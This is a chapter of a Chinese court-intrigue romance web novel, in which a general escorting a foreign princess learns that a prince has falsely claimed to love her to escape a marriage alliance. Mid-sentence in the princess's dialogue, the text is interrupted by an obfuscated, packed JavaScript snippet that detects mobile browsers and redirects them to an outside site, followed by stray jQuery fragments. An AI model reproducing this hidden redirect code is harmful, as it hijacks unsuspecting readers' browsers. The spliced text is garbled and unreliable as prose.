李牧昭揉了揉发胀的太阳穴，没回卧房休息，而是转身往书房走去。他得再仔细核对一遍今日在鸿胪寺记下的和谈细节，方才他故意处处与王磬作对，一会儿挑和谈条款的错处，一会儿又反驳王磬的提议，但也不过是做给外人看。
这是他第一次经办皇帝交待的差事，做得好也许不会有奖赏，但若被挑出错处，就是永无翻身之日。
他拖着沉重的脚步踏入书房，刚要伸手去掀案上的文书，就听见屏风后传来轻微的衣料摩擦声。下一秒，一道瘦削的身影轻轻转了出来，一身玄色劲装，脸上没什么表情，像尊没有情绪的木偶。
“你一定要这样神出鬼没吗？”李牧昭甚至不用抬头都知道来人是谁。
“主子让我转告您，此事关乎两国邦交，主子不好插手。”来人只是木讷的自说自话。
“知道了。”李牧昭的声音瞬间低了下去，他感觉身体的力量一点一点消散，肩膀似要垮下去。
他本就不得圣心，皇后只将他当做慎王平步青云的踏脚石，平日里对他看似和颜悦色，实则处处提防，稍有异动就会被猜忌。
这些年，他故意装出一副寻欢作乐、荒淫无度的模样，流连于酒楼楚馆，才勉强在皇后手里活下来。
可若是迎娶北黎公主，他就将真的成为弃子，到时这上京城的每一个人都能踩他一脚。
李牧昭靠在冰冷的门板上，闭着眼缓了好一会儿，再抬头时，眼前的人已经不见踪影。
只能靠自己了，这便是他最后一步棋。
***
贺兰瑾已经陪着希羚公主在京中逛了整整一个下午，从城东的绸缎庄到城西的香料铺，她望着眼前依旧眼神发亮、脚步轻快的希羚，又侧头看了眼被自己临时拉来救急的夏梧。
再回头看看身后的宋萧已经有些灵魂出窍了。
“郡主，”宋萧趁着希羚没注意，悄悄凑到贺兰瑾身边，压低声音耳语，“这北黎公主体力真不错。”
贺兰瑾没说话，看着眼前的希羚又蹦蹦跳跳的踏进了一家首饰坊。
她对着宋萧递了个“闭嘴跟上”的眼神，脚步也跟着迈了进去，靴底踩在光滑的青砖上，没发出半点声响。
“华瑾，你快来看！”希羚的声音带着雀跃，手里捏着两支缠枝纹步摇转过身，“你说这两支步摇，哪一个更好看？”
贺兰瑾这一路上不是在挑衣服，就是在挑首饰，单是团扇都买了七个，此刻望着眼前大同小异的步摇，只觉得眼前阵阵发花，太阳穴也隐隐作痛。
“蓝色的吧，公主肤白，蓝色这枝更衬公主。”虽累但贺兰瑾也不曾表现不耐烦，既然是答应的差事，自然是尽职尽责。
希羚听得眼睛一亮，又拿起那支翡翠步摇，绕到贺兰瑾身后，踮着脚往她发髻上比划了几下。
翡翠的碧色映着贺兰瑾乌黑的发丝，倒真有几分相得益彰的雅致。她笑着转头冲掌柜摆手：“这两支步摇都包起来吧，
随后又向贺兰瑾说道：“这支翡翠的你戴一定好看。”
贺兰瑾正欲推辞，希羚又抢先开口：“就当是谢过你陪我逛这半日了。”
“本是我职责所在。”贺兰瑾还欲推辞几句，希羚已经将包好的步摇塞到贺兰瑾怀里，拉着她向外走去。
“我乏了，我们回去吧。”
贺兰瑾求之不得，立刻闭嘴跟上。
返回驿馆的马车碾过青石板，车帘被夜风吹得掀起一角，贺兰瑾觉得有些坐立难安。
倒不是马车不够宽敞，而是对面的希羚自上车起，便用那双琥珀色眼睛直勾勾地盯着她。
“我脸上有什么东西吗？”贺兰瑾不解地问道。
“在我们北黎，郡主的名号能止小儿夜啼，而且，关于你的传言有很多。”希羚猝不及防的开口。
贺兰瑾有些摸不清她要干什么，她这些年压着北黎的大军打，北黎能有什么好话等着她，只能以不变应万变。
“说你三头六臂，豹头环眼，腰粗十围，一拳能砸穿战马的头骨，还说你是妖怪，能请百妖助阵。”希羚说到最后还轻笑了一声。
贺兰瑾无语，两国的百姓在传谣这方面倒是有些默契。
贺兰瑾指尖摩挲着袖口暗纹，轻笑出声：“巧了，我大靖百姓也说你们赫连将军长着狼耳朵，能听懂百兽言语呢。”
车窗外传来更夫打更的梆子声，希羚的笑声混着马蹄声溢出车厢。
贺兰瑾望着对方辫梢垂落的绿松石坠子，忽觉这外邦公主，倒是比金銮殿上那些装模作样的人更鲜活。
“如今见你，真才觉得谣言当不得真。”希羚敛了笑意，琥珀色眼眸在车厢昏暗的光线下泛着温润的光。
她盯着贺兰瑾身上的水墨绿烟翠衫，鸦青烟沙散花裙扫过车板，青玉起花八团倭缎披风下，露出一截束着白玉簪的乌发。
看得出来是为了来陪她特意打扮的。
虽然素雅了些，但更具三分英气，三分豪态，就像悬崖边顶天立地的大树，于风刀霜剑中傲然挺立，枝干虬结间尽是折不弯的韧劲。
贺兰瑾正被夸的无所适从，忽闻对方话音一转，尾音裹着沙砾般的涩意：“如此看来，他说的都是真的。”
“等一下，他？谁？什么真的？”贺兰瑾一头雾水。
“翊王殿下啊，他说对你一见钟情，倾慕于你，终身唯一所求，便是与你一生一世一双人。”
希羚指尖摩挲着团扇流苏，眼神忽而柔和，说道：“起初我只当是他不想娶我的客套话，今日见了你才明白，这般如松似玉的姑娘，确实是值得让少年郎念念不忘。”
贺兰瑾觉得后颈发凉，好一个念念不忘，她昨日在鸿胪寺才第一次见李牧昭。
一时不知道该说什么，贺兰瑾不知道希羚的话是否可信，反问道：“他为何同你说这些？”
希羚摇了摇手里新买的团扇，说道：“此次和谈，你们大靖步步不让，我四哥没有办法，最后只能向你们皇帝提最后一项要求，允我自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268376|182189||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
选择和亲的对象，这几日，难免少不了同翊王殿下接触，本觉得他为人正直，待人磊落，又耐心体贴，长相俊朗，即便仅仅是个郡王，也算得上这异国他乡的良配，谁知他昨日忽然同我坦白心迹，说早已心属将军。日后即便与我结为夫妻，怕是也要成为怨偶，他既与我坦白，同是身不由己的人，我倒不好横刀夺爱了。”
“为人正直，待人磊落，整个上京怕是只有公主会这样说了。”
希羚大笑：“郡主可不必吃味，我无意夺人所爱。”
希羚见贺兰瑾眉峰紧蹙，忙将团扇往膝头一压说道：“不过他也同我说了，他虽爱慕你，但尚不知你心意。我发誓，断不会说出去坏你的清誉。”
贺兰瑾看希羚这幅真心实意的模样，有些疑惑：“公主为何要帮他，以公主的处境，应当万事以自己为先吧。”
“我又不是非他不可，他也不是我最好的选择，况且，我退这一步，既能卖翊王府人情，又能交好北安侯府，日后在这人生地不熟的上京，多个朋友总比多个敌人强。”希羚面色坦然，好似真的坦坦荡荡。
贺兰瑾自然不相信什么念念不忘的鬼话，她心下了然，李牧昭在利用她摆脱和亲。
只是她一时噎住，错过了澄清的最佳时机。
希羚已经自顾自的开始乱点鸳鸯谱，“华瑾，你喜欢他吗？”
贺兰瑾不认为自己有必要为李牧昭遮掩，回道：“不喜欢”。
希羚却露出意味深长地笑容，问道：“那你喜欢谁？”
“我的婚事，自有陛下圣裁。”贺兰瑾本以为是滴水不漏的将问题抛了出去。
这话落在希羚耳朵里，便成了苦命鸳鸯不能相守的苦情戏码。
“翊王殿下说你顾忌他身份尴尬，必然不会承认，怕为他惹火上身。”希羚用团扇遮住半个脸，“果然如此，华瑾，我不会说出去的，你相信我。”
“不过以你的身份，求陛下赐婚应该很容易吧。”希羚忽而皱眉摇头，团扇在掌心敲得“啪啪”响，“不成不成，女子还是要矜持些，可是我听闻以翊王的地位，若向你们皇帝求娶你，恐怕难上加难。”
贺兰瑾目瞪口呆地看着对方越说越离谱，刚要开口分辩，车外忽然传来小厮的唱喏：“公主，驿馆到了！”，希羚应声起身，裙摆扫过车板时带起一缕香风。
贺兰瑾越来越急，希羚越想越偏，打断贺兰瑾道：“华瑾，只要你们心在一起，总有守得云开的那日。”
话音未落，她已踩着鹿皮靴跃下马车，辫梢银铃碎响着消失在朱漆门后。贺兰瑾望着那道急匆匆的背影，只觉胸口闷得发慌。
这一拳打在棉花上的感觉，任是贺兰瑾再处变不惊，也感觉火气已经顶到了天灵盖。
宋萧从马车旁边过来，看着贺兰瑾咬牙切齿的样子，赶紧问道：“郡主，怎么了，和北黎公主起冲突了吗？”
“无事。”贺兰瑾平复心情，脸部表情恢复成一潭死水，说道：“被人当棋子使了而已。”